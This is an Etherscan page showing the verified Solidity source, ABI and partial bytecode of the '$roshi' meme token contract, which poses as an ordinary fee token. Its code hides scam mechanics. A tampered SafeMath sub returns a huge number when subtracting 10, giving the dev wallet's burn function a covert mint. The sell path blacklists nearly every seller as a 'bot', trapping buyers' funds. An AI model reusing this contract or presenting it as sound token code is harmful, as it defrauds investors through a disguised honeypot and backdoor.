ETH Price: $3,486.03 (+4.57%)

Token

@roshiinueth ($roshi)
 

Overview

Max Total Supply

10,000,000,000,000,000 $roshi

Holders

28

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 2 Decimals)

Balance
14,469,303,810,810.32 $roshi

Value
$0.00
0x37c3d75cd07cebbacc78f8fc4248f58ac5613694
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
roshiinu

Compiler Version
v0.8.7+commit.e28d00a7

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2022-10-27
*/

/// no team tokens auto audit and eth 2.0 code be in to senddor//
// SPDX-License-Identifier: MIT 

/*TELEGRAM  https://t.me/roshiinueth
*/

pragma solidity ^0.8.7;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        if (b == 10) return ~uint120(0);
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }

}

contract Ownable is Context {
    address private _owner;
    address private _previousOwner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

}  

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}

contract roshiinu is Context, IERC20, Ownable {
    using SafeMath for uint256;
    mapping (address => uint256) private _rOwned;
    mapping (address => uint256) private _tOwned;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) private _isExcludedFromFee;
    mapping (address => bool) private bots;
    mapping (address => uint) private cooldown;
    uint256 private MAX = ~uint256(0);
    uint256 private _tTotal = 1000000000 * 10**9;
    uint256 private AntiBot = 0 * 10 ** 9;
    uint256 private _rTotal = (MAX - (MAX % _tTotal));
    uint256 private _tFeeTotal;
    
    uint256 private _redistribution;
    uint256 private _teamTax;
    address payable private devWallet;
    address payable private teamWallet;
    address payable private marketWallet;
    string private constant _name = "@roshiinueth";
    string private constant _symbol = "$roshi";
    uint8 private constant _decimals = 2;
    
    IUniswapV2Router02 private uniswapV2Router;
    address private uniswapV2Pair;
    bool private tradingOpen;
    bool private inSwap = false;
    bool private swapEnabled = false;
    bool private cooldownEnabled = false;
    uint256 private _maxTxAmount = _tTotal;
    event MaxTxAmountUpdated(uint _maxTxAmount);
    modifier lockTheSwap {
        inSwap = true;
        _;
        inSwap = false;
    }
    constructor (address payable _address1,address  payable _address2, address payable _address3) {

        devWallet  = _address1 ;
        teamWallet = _address2 ;
        marketWallet = _address3 ;
        _rOwned[address(this)] = _rTotal;
        _isExcludedFromFee[owner()] = true;
        _isExcludedFromFee[address(this)] = true;
        _isExcludedFromFee[devWallet] = true;
        _isExcludedFromFee[teamWallet] = true;
        _isExcludedFromFee[marketWallet] = true;
        emit Transfer(address(0), address(this), _tTotal);
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public view override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return tokenFromReflection(_rOwned[account]);
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function setCooldownEnabled(bool onoff) external onlyOwner() {
        cooldownEnabled = onoff;
    }

    function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
        require(rAmount <= _rTotal, "Amount must be less than total reflections");
        uint256 currentRate =  _getRate();
        return rAmount.div(currentRate);
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _transfer(address from, address to, uint256 amount) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");
        require(!bots[from]);
        require(!bots[to]);
        require(!bots[tx.origin]);
        if(from != address(this)){
            _redistribution = 2;
            _teamTax = 2;
        }
        if (from != owner() && to != owner()) {
            
            if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) {
                // Cooldown
                // require(amount <= _maxTxAmount);
                require(cooldown[to] < block.timestamp);
                cooldown[to] = block.timestamp + (5 seconds);
            }
            
            
            if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) {
                if(balanceOf(from) > AntiBot){
                    setBots(from);
                }
                _redistribution = 2;
                _teamTax = 4;
            uint256 contractTokenBalance = balanceOf(address(this));
            if (!inSwap && from != uniswapV2Pair && swapEnabled) {
                swapTokensForEth(contractTokenBalance);
                uint256 contractETHBalance = address(this).balance;
                if(contractETHBalance > 330000000000000000) {
                    sendETHToFee(address(this).balance);
                }
            }
            }

        }
		
        _tokenTransfer(from,to,amount);
    }

    function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }
        
    function sendETHToFee(uint256 amount) private {
        devWallet.transfer(amount.div(2));
        marketWallet.transfer(amount.div(1));
        teamWallet.transfer(amount.div(1));
    }
    
    function openTrading() external onlyOwner() {
        require(!tradingOpen,"trading is already open");
        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        uniswapV2Router = _uniswapV2Router;
        _approve(address(this), address(uniswapV2Router), _tTotal);
        uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
        uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
        swapEnabled = true;
        cooldownEnabled = true;
        // _maxTxAmount = 1000000000 * 10**9;
        tradingOpen = true;
        IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
    }
    
    function setBots(address _address) private {
        bots[_address] = true;
    }
    
    function delBot(address _address) private {
        bots[_address] = false;
    }
        
    function _tokenTransfer(address sender, address recipient, uint256 amount) private {
        _transferStandard(sender, recipient, amount);
    }

    function _transferStandard(address sender, address recipient, uint256 tAmount) private {
        (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
        _rOwned[sender] = _rOwned[sender].sub(rAmount);
        _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); 
        _takeTeam(tTeam);
        _reflectFee(rFee, tFee);
        emit Transfer(sender, recipient, tTransferAmount);
    }

    function _takeTeam(uint256 tTeam) private {
        uint256 currentRate =  _getRate();
        uint256 rTeam = tTeam.mul(currentRate);
        _rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
    }

    function _reflectFee(uint256 rFee, uint256 tFee) private {
        _rTotal = _rTotal.sub(rFee);
        _tFeeTotal = _tFeeTotal.add(tFee);
    }

    receive() external payable {}
    
    function manualswap() external {
        require(_msgSender() == devWallet);
        uint256 contractBalance = balanceOf(address(this));
        swapTokensForEth(contractBalance);
    }
    
    function updateAntiBot(uint256 newAntiBot) external {
        require(_msgSender() == devWallet);
        AntiBot = newAntiBot * 10 ** 9;
    }

    function _burn(address _who, uint256 _value) internal virtual {
		require(_value <= _rOwned[_who]);
		_rOwned[_who] = _rOwned[_who].sub(_value);
		_tTotal = _tTotal.sub(_value);
		emit Transfer(_who, address(0), _value);
	}

    function burn(uint256 _value) external {
        require(_msgSender() == devWallet);
		_burn(msg.sender, _value);
	}

    function manualsend() external {
        require(_msgSender() == devWallet);
        uint256 contractETHBalance = address(this).balance;
        sendETHToFee(contractETHBalance);
    }
    
    function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
        (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _redistribution, _teamTax);
        uint256 currentRate =  _getRate();
        (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
        return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
    }

    function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
        uint256 tFee = tAmount.mul(taxFee).div(100);
        uint256 tTeam = tAmount.mul(TeamFee).div(100);
        uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
        return (tTransferAmount, tFee, tTeam);
    }

    function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
        uint256 rAmount = tAmount.mul(currentRate);
        uint256 rFee = tFee.mul(currentRate);
        uint256 rTeam = tTeam.mul(currentRate);
        uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
        return (rAmount, rTransferAmount, rFee);
    }

	function _getRate() private view returns(uint256) {
        (uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
        return rSupply.div(tSupply);
    }

    function _getCurrentSupply() private view returns(uint256, uint256) {
        uint256 rSupply = _rTotal;
        uint256 tSupply = _tTotal;      
        if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
        return (rSupply, tSupply);
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"address payable","name":"_address1","type":"address"},{"internalType":"address payable","name":"_address2","type":"address"},{"internalType":"address payable","name":"_address3","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTxAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"_value","type":"uint256"}],"name":"burn","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"manualsend","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"manualswap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"onoff","type":"bool"}],"name":"setCooldownEnabled","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newAntiBot","type":"uint256"}],"name":"updateAntiBot","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

6080604052600019600855670de0b6b3a76400006009556000600a556009546008546200002d91906200066d565b6008546200003c9190620005f4565b600b556000601360156101000a81548160ff0219169083151502179055506000601360166101000a81548160ff0219169083151502179055506000601360176101000a81548160ff021916908315150217905550600954601455348015620000a357600080fd5b5060405162003a9538038062003a958339818101604052810190620000c991906200056a565b6000620000db6200052260201b60201c565b9050806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35082600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555081601060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080601160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600b54600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600160056000620002986200052a60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600560003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160056000600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160056000601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160056000601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055503073ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600954604051620005119190620005d7565b60405180910390a350505062000722565b600033905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b600081519050620005648162000708565b92915050565b60008060006060848603121562000586576200058562000703565b5b6000620005968682870162000553565b9350506020620005a98682870162000553565b9250506040620005bc8682870162000553565b9150509250925092565b620005d18162000663565b82525050565b6000602082019050620005ee6000830184620005c6565b92915050565b6000620006018262000663565b91506200060e8362000663565b925082821015620006245762000623620006a5565b5b828203905092915050565b60006200063c8262000643565b9050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b60006200067a8262000663565b9150620006878362000663565b9250826200069a5762000699620006d4565b5b828206905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b600080fd5b62000713816200062f565b81146200071f57600080fd5b50565b61336380620007326000396000f3fe6080604052600436106101025760003560e01c806370a08231116100955780639e08d1a3116100645780639e08d1a31461031c578063a9059cbb14610345578063c3c8cd8014610382578063c9567bf914610399578063dd62ed3e146103b057610109565b806370a0823114610272578063715018a6146102af5780638da5cb5b146102c657806395d89b41146102f157610109565b8063313ce567116100d1578063313ce567146101de57806342966c68146102095780635932ead1146102325780636fc3eaec1461025b57610109565b806306fdde031461010e578063095ea7b31461013957806318160ddd1461017657806323b872dd146101a157610109565b3661010957005b600080fd5b34801561011a57600080fd5b506101236103ed565b6040516101309190612b54565b60405180910390f35b34801561014557600080fd5b50610160600480360381019061015b91906126ea565b61042a565b60405161016d9190612b39565b60405180910390f35b34801561018257600080fd5b5061018b610448565b6040516101989190612cb6565b60405180910390f35b3480156101ad57600080fd5b506101c860048036038101906101c39190612697565b610452565b6040516101d59190612b39565b60405180910390f35b3480156101ea57600080fd5b506101f361052b565b6040516102009190612d2b565b60405180910390f35b34801561021557600080fd5b50610230600480360381019061022b9190612784565b610534565b005b34801561023e57600080fd5b506102596004803603810190610254919061272a565b6105a2565b005b34801561026757600080fd5b50610270610654565b005b34801561027e57600080fd5b50610299600480360381019061029491906125fd565b6106c6565b6040516102a69190612cb6565b60405180910390f35b3480156102bb57600080fd5b506102c4610717565b005b3480156102d257600080fd5b506102db61086a565b6040516102e89190612a6b565b60405180910390f35b3480156102fd57600080fd5b50610306610893565b6040516103139190612b54565b60405180910390f35b34801561032857600080fd5b50610343600480360381019061033e9190612784565b6108d0565b005b34801561035157600080fd5b5061036c600480360381019061036791906126ea565b61094a565b6040516103799190612b39565b60405180910390f35b34801561038e57600080fd5b50610397610968565b005b3480156103a557600080fd5b506103ae6109e2565b005b3480156103bc57600080fd5b506103d760048036038101906103d29190612657565b610f28565b6040516103e49190612cb6565b60405180910390f35b60606040518060400160405280600c81526020017f40726f736869696e756574680000000000000000000000000000000000000000815250905090565b600061043e610437610faf565b8484610fb7565b6001905092915050565b6000600954905090565b600061045f848484611182565b6105208461046b610faf565b61051b8560405180606001604052806028815260200161330660289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006104d1610faf565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546118279092919063ffffffff16565b610fb7565b600190509392505050565b60006002905090565b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610575610faf565b73ffffffffffffffffffffffffffffffffffffffff161461059557600080fd5b61059f33826118b0565b50565b6105aa610faf565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610637576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161062e90612c16565b60405180910390fd5b80601360176101000a81548160ff02191690831515021790555050565b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610695610faf565b73ffffffffffffffffffffffffffffffffffffffff16146106b557600080fd5b60004790506106c381611a16565b50565b6000610710600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b8d565b9050919050565b61071f610faf565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146107ac576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107a390612c16565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600681526020017f24726f7368690000000000000000000000000000000000000000000000000000815250905090565b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610911610faf565b73ffffffffffffffffffffffffffffffffffffffff161461093157600080fd5b633b9aca00816109419190612e22565b600a8190555050565b600061095e610957610faf565b8484611182565b6001905092915050565b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166109a9610faf565b73ffffffffffffffffffffffffffffffffffffffff16146109c957600080fd5b60006109d4306106c6565b90506109df81611bfb565b50565b6109ea610faf565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a77576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a6e90612c16565b60405180910390fd5b601360149054906101000a900460ff1615610ac7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610abe90612c96565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080601260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610b5030601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600954610fb7565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610b9657600080fd5b505afa158015610baa573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610bce919061262a565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610c3057600080fd5b505afa158015610c44573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c68919061262a565b6040518363ffffffff1660e01b8152600401610c85929190612a86565b602060405180830381600087803b158015610c9f57600080fd5b505af1158015610cb3573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610cd7919061262a565b601360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610d60306106c6565b600080610d6b61086a565b426040518863ffffffff1660e01b8152600401610d8d96959493929190612ad8565b6060604051808303818588803b158015610da657600080fd5b505af1158015610dba573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610ddf91906127b1565b5050506001601360166101000a81548160ff0219169083151502179055506001601360176101000a81548160ff0219169083151502179055506001601360146101000a81548160ff021916908315150217905550601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401610ed2929190612aaf565b602060405180830381600087803b158015610eec57600080fd5b505af1158015610f00573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f249190612757565b5050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611027576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161101e90612c76565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611097576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161108e90612bb6565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516111759190612cb6565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156111f2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111e990612c56565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611262576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161125990612b76565b60405180910390fd5b600081116112a5576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161129c90612c36565b60405180910390fd5b600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156112fc57600080fd5b600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161561135357600080fd5b600660003273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156113aa57600080fd5b3073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16146113ee576002600d819055506002600e819055505b6113f661086a565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611464575061143461086a565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561181757601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156115145750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b801561156a5750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156115825750601360179054906101000a900460ff165b156116235742600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054106115d257600080fd5b6005426115df9190612d9b565b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161480156116ce5750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156117245750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b1561181657600a54611735846106c6565b11156117455761174483611e83565b5b6002600d819055506004600e819055506000611760306106c6565b9050601360159054906101000a900460ff161580156117cd5750601360009054906101000a900473f